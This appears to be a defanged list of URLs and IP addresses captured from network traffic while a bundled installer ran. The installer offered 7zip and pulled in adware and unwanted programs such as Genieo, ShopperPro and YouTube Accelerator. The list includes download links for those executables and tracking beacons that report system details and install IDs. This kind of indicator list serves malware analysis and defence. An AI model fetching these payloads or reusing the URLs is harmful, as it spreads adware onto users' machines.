hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=2fVCHF6kf8ip2eBShmJaQMxndPpeZYzT8caJ6Xjpr7zZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0na7uLSNjM/3h59qqyznKLchjZ3jwf MfnewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4vCUkFiosfAGHU1ykWYUg7GpZ taBa9mFoK8PjmuGTkdEHBtq8JqhDG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lyiuy5/oVLbn /EIcMoNBcHzbANYrsS2gUKiQ wA8u5okIruQ RRBqg1V20D8k3IQ UVDrGcF71EayYTtvALvT7oW0z9NLN4aDchJbXoZFrU	54.197.238.106
hxxp://pagead.l.doubleclick.net/pagead/conversion.js
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/helper.min.js	94.31.29.248
hxxp://flex.msn.com.nsatc.net/mstag/site/649013f9-6914-436e-ba0b-dcbf07bc69d7/mstag.js	207.46.194.8
hxxp://test.youtubeaccelerator.com/img/accelerating-videos.jpg	107.20.238.80
hxxp://test.youtubeaccelerator.com/googleanalytics.js	107.20.238.80
hxxp://test.youtubeaccelerator.com/img/youtube-accelerator-logo.png	107.20.238.80
hxxp://test.youtubeaccelerator.com/ConversionService/getScript.ashx?s=finish	107.20.238.80
hxxp://e0o7fa-su78sj1t.netdna-ssl.com/app/t.ashx?uid=25383020-30f5-408f-b983-88ab51edfcbf&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDI1MzgzMDIwLTMwZjUtNDA4Zi1iOTgzLTg4YWI1MWVkZmNiZiwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTc2JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1420692842&aff=JSsmtycl&ver=2.0.7791.1463	198.232.124.192
hxxp://dpcdn.com/sbitin/javascript.js?hid=25383020-30f5-408f-b983-88ab51edfcbf&apptitle=ShopperPro&channel=iF18wJSsmtycl
hxxp://test.youtubeaccelerator.com/YTAFinishInstall.gif	107.20.238.80
hxxp://jwproductionvpclb-1443422270.us-east-1.elb.amazonaws.com/affiliate/client?dist=141&sub=iF18wJSsmtycl&name=ShopperPro
hxxp://pagead.l.doubleclick.net/pagead/conversion/971163981/?random=1420692842737&cv=7&fst=1420692842737&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE&vis=1
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?ffa54d8c0bd5ad08
hxxp://www-google-analytics.l.google.com/analytics.js
hxxp://flex.msn.com.nsatc.net/mstag/mstag.1003102000.js	207.46.194.8
hxxp://dpcdn.com/opt_content.js?v=opt_1419351787852&partner=sbitin&channel=sbitiniF18wJSsmtycl&sset=7&appTitle=ShopperPro&sset=7&ip=193.138.244.231
hxxp://www-google-analytics.l.google.com/r/collect?v=1&_v=j31&a=1465322709&t=pageview&_s=1&dl=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE&ul=en-us&de=utf-8&dt=Thank you for Installing YouTube Accelerator&sd=24-bit&sr=1716x901&vp=1700x804&je=1&_u=MEAAAAQAI~&jid=1718075601&cid=369173105.1420692843&tid=UA-40752970-2&_r=1&z=1075254878
hxxp://d13j8bqw-l8bu4n1j.netdna-ssl.com/gen/helper.js	198.232.125.3
hxxp://cdn.visadd.com.cdn.cloudflare.net/script/14567725608/preload.js?subid=F18wsmtycl1-25383020-30f5-408f-b983-88ab51edfcbf	108.162.200.127
hxxp://pagead.l.doubleclick.net/pagead/viewthroughconversion/971163981/?random=1388919508&cv=7&fst=1420692842737&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0
hxxp://flex.msn.com.nsatc.net/mstag/tag/649013f9-6914-436e-ba0b-dcbf07bc69d7/analytics.js?ver=1404240900	207.46.194.8
hxxp://test.youtubeaccelerator.com/ConversionService/GetScript.ashx?s=finish&frame=1&aff=	107.20.238.80
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/xdmframe.htm?xdm_e=http://www.youtubeaccelerator.com&xdm_c=default5435&xdm_p=1	94.31.29.248
hxxp://www.google.com/ads/conversion/971163981/?random=1388919508&cv=7&fst=1420692842737&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3062278210	173.194.113.208
hxxp://dsba220j59f4d.cloudfront.net/jollywallet/resources/js/2/affiliate_client.js	54.192.47.104
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/Beat.js	94.31.29.248
hxxp://a.visadd.com/script/layer?pid=14567725608&ln=en	198.27.120.88
hxxp://r.msn.com.nsatc.net/?type=1&domainId=3026708&dedup=1&actionid=238238
hxxp://cs9.wac.edgecastcdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc=
hxxp://www.google.com.ua/ads/conversion/971163981/?random=1388919508&cv=7&fst=1420692842737&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3062278210&ipr=y	173.194.113.223
hxxp://cs9.wac.edgecastcdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw=
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=pricefountain&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=2&index_in_screen=1&index_in_session=2&0.24663516244120687
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=sourceapp_sem&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=3&index_in_screen=1&index_in_session=3&display_height=185&0.6875731650378127
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=sourceapp_sem&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=3&index_in_screen=1&index_in_session=3&0.10311881856587251
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.29407201139056976
hxxp://a1363.g.akamai.net/pki/crl/products/microsoftrootcert.crl
hxxp://a1363.g.akamai.net/pki/crl/products/WinPCA.crl
hxxp://a1363.g.akamai.net/pki/crl/products/MicrosoftTimeStampPCA.crl
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab?267d032e27c9da6a
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=4&index_in_screen=1&index_in_session=4&0.9080673077393329
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.1&utms=2&utmn=1612936192&utmhn=installer.filebulldog.com&utmhid=1815055538&utmr=-&utmp=Offer_Accepted&utmht=1420692884405&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=1&index_in_screen=1&index_in_session=1&0.3364320762517639
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=1&index_in_screen=1&index_in_session=1&0.8352342003179938
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.1&utms=3&utmn=1547645067&utmhn=installer.filebulldog.com&utmhid=1815055538&utmr=-&utmp=Offer_Accepted&utmht=1420692885102&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=pricefountain&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=2&index_in_screen=1&index_in_session=2&0.9704049455779596
hxxp://logcollectorclick-1564780678.us-east-1.elb.amazonaws.com/dealdo/install-report?type=install&instgrp=20141204__1086__lnk_aromani_70&ver=1086&partner=somopf&channel=somopf&installId=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=f777ab7c-adac-458b-b198-2dc3ce7fa535&cb=845119&slug=pricefountain&winVer=362e31&cmd=2f6d757365202f706172746e65723d736f6d6f7066&adminproc=1&defaultBrowser=1&ieVer=31302e302e393230302e3136353231&firefoxv=32392e302e312028656e2d555329&chromev=33352e302e313931362e313533&operav=&&previousver=x&firstinstall=1
hxxp://events-collector-1435457350.us-east-1.elb.amazonaws.com/dealdo/event-report?type=quick&topic=suzan_instend&instgrp=20141204__1086__lnk_aromani_70&ver=1086&partner=somopf&channel=somopf&installId=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=f777ab7c-adac-458b-b198-2dc3ce7fa535&cb=851406&existingVer=&existingPartner=&existingChannel=&slug=pricefountain&default_browser=1&ieVer=31302e302e393230302e3136353231&firefoxVer=32392e302e312028656e2d555329&chromeVer=33352e302e313931362e313533&operaVer=&winVer=362e31&cmd=2f6d757365202f706172746e65723d736f6d6f7066&ieproc=0&ffproc=0&chproc=0
hxxp://events-collector-1435457350.us-east-1.elb.amazonaws.com/dealdo/event-report?instgrp=20141204__1086__lnk_aromani_70&type=quick&topic=suzan_wdrun&partner=somopf&channel=somopf&ver=1086&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=f777ab7c-adac-458b-b198-2dc3ce7fa535
hxxp://events-collector-1435457350.us-east-1.elb.amazonaws.com/dealdo/event-report?instgrp=20141204__1086__lnk_aromani_70&rand=852077&opdom=pricejs.net&type=quick&topic=suzan_exestrt&partner=somopf&channel=somopf&ver=1086&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=f777ab7c-adac-458b-b198-2dc3ce7fa535
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.1&utms=4&utmn=312987750&utmhn=installer.filebulldog.com&utme=8(sp_slug)9(pricefountain)&utmhid=1815055538&utmr=-&utmp=Install_Complete&utmht=1420692892734&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://d2otsfra4otprh.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.192.47.221
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.1&utms=5&utmn=719051976&utmhn=installer.filebulldog.com&utmhid=1345620086&utmr=-&utmp=Installer_Init&utmht=1420692894104&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://d16a55el92698t.cloudfront.net/sponsored/priceless/eula-priceless.html	54.230.45.197
hxxp://dl627.settleship.org/	104.28.15.32
hxxp://dl627.settleship.org/tmps.exe	104.28.15.32
hxxp://d2otsfra4otprh.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe	54.192.47.221
hxxp://s3-1-w.amazonaws.com/partner/gim394750002/release/live/InstallGenieo.exe
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=priceless&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=1&index_in_screen=1&index_in_session=1&display_height=125&0.06286979173393464
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=priceless&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=1&index_in_screen=1&index_in_session=1&0.558918752626719
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.9144508896003505
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=2&index_in_screen=1&index_in_session=2&0.43980376002090854
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=3&index_in_screen=1&index_in_session=3&display_height=90&0.5042214198475601
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=3&index_in_screen=1&index_in_session=3&0.9637991849513476
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=4&index_in_screen=1&index_in_session=4&display_height=75&0.4594330330255643
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=4&index_in_screen=1&index_in_session=4&0.43486739058088724
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=priceless&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=1&index_in_screen=1&index_in_session=1&0.9554772668311194
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.1&utms=6&utmn=1131424682&utmhn=installer.filebulldog.com&utmhid=1345620086&utmr=-&utmp=Offer_Accepted&utmht=1420692981667&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg=
hxxp://download.beautyzillionopticusanews.info/?e=dfd73&clsb=1&publisher=55627&prv=PriceLess&sfx=1&hid=16567493462586752620&cht=2&dcu=1&cpatch=2&dcs=1&pf=1&ne=1&prs=4&pnum=2&jc=1	104.28.20.124
hxxp://directure.info/TyHelper.exe	54.68.119.243
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=
hxxp://e6845.ce.akamaiedge.net/pca3.crl
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ/xkCfyHfJr7GQ6M658NRZ4SHo/AQUCPVR6Pv+PT1kNnxoz1t4qN+5xTcCEGC2x6sSmevembHfY1acIZk=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEGwkCSV07gf3g5QOsqmf+MY=
hxxp://a1363.g.akamai.net/pki/crl/products/MicCodSigPCA_08-31-2010.crl
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8=
hxxp://www-bbc-com.bbc.net.uk/
hxxp://techine.info/get/?data=Q+AObg59VyYNeGjAztMJv+YPF7DpgSo9BygOGa8zpET76OM22GeSxy3TFUbskIs89NPW7cwjlQK7CBwBNR88id3kxv9GDNPWgy9cqwPh9TtOtYeEpZMbufptMlqZ+E3MT9O+OLQofH9DNru44cKIp/7o3zd7WGChytRXl0G+2OB7DOa4fm+y36cz7ukLlkbjWe3H2bMYP4yYMYQvQDRSNrWlJ8ZNyUATN7SRT5GEfDEvR15udhFsmtrlpmmUcI0g66i9T3i/Jdi8vCpdfSmt3jjehLXbq8bYy8Rz2UD3e8OXjlRWIxDwdhk9L0t08JtwJQlszZfcN6/YPQfLx+5LI7kw/8JKnwGsVBu504BObjx3zQN1LowLeLJLtiP/HuDasPPyQ2p3A8hwTBXNTsZukr57uUe4w41VGjSitK3IW+IrdEdQstHtl37XTFHMBgw5Ij5H/1QHAlJTI4Er5iT/U/ewKrGIKB+OJEvdMaAoLDJGh3FOYED7puFibqnq0doSWs7WWYSU&version=4	54.69.220.239
hxxp://installcollection.com/?HID=16567493462586752620&BITS=11&PID=55627	54.68.171.13
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.1&utms=7&utmn=316248233&utmhn=installer.filebulldog.com&utme=8(sp_slug)9(priceless)&utmhid=1345620086&utmr=-&utmp=Install_Complete&utmht=1420693021722&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/awfr7zip23772/7zip/8bcb66b22b13e545b4025cefa77c7e57?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://d16a55el92698t.cloudfront.net/images/Tokyo/tokyoLightGrayStripesBG.jpg	54.230.45.197
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.1&utms=8&utmn=1155979209&utmhn=installer.filebulldog.com&utmhid=1850010787&utmr=-&utmp=Installer_Init&utmht=1420693023531&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://d2otsfra4otprh.cloudfront.net/affiliates/filesfrog/eula.html	54.192.47.221
hxxp://dfb5uyoqjsg4c.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe	54.192.47.112
hxxp://s3-2-w.amazonaws.com/partner/gim394750002/release/live/InstallGenieo.exe
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=b1dRW7RxYKcVc8R/SQUwTMxndPpeZYzT7WV/XRENtrGMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqtZv0yw0NiCFDsxcQ8 qI9pgKkdlz1lRoRWn6c6y/lOVjgb6v7cXpPsz7bHier9Xh1vzKX WYQO7xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9CEt 0AWK ljWYr /KlhbGpujKXoNZr7xzTD/J2qNxbsf2BomkYiMTg==	54.192.46.233
hxxp://download.genieo.com/partner/gim394750002/release/live/InstallGenieo.exe	54.231.244.1
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=2fVCHF6kf8gQ0V45w4Sc0SyMiXp71dskN1IH8VCNL9hAXdQqxJ1va1k2AtpRMnokIR1sKxPFdTfIXMF1Q9BlidZiv78qWFsam6Mpeg1mvvHNMP8nao3Fu/pDW71a9FohpKb81Sa5kgtqq35bppXPWLZahQr/K1K0cBk3VdRCGn9gKkdlz1lRoce/5WtWjmcuFAL52sIXt4VzrzFC04 gV5JkcnGF9 uBp fGZ3XE97vz/JnXac5wHeUBc/7joLqq94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg==	54.192.46.233
hxxp://d3aa6lfjz7mo54.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe	54.230.45.191
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=s5Ydxb c7o0DbDSBvTK 4DEOJYAmH59VBBvtTcvyOOgDt2EUeZbtRaSm/NUmuZILaKig fkRtZL20T9ViFofsGUl0xzv/1Q1n14WGxPVpt5CrKRl6uWYlY4G r 3F6T7eadsxH93vcJRrmf6/ Q2OmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgyIhIx/wjkko=	54.192.46.233
hxxp://d1vw44q53d84jx.cloudfront.net/t.ashx?e=lOCrbsNL2zWYW6sXTpZ7/L1yLlvxP1mXpL1q0D3vvXT8ln8Iap23//2TEkHeJNDUNLVXkHqu5msdlItDucQRpNQoCJasmvuZd/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLD3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn	54.230.45.183
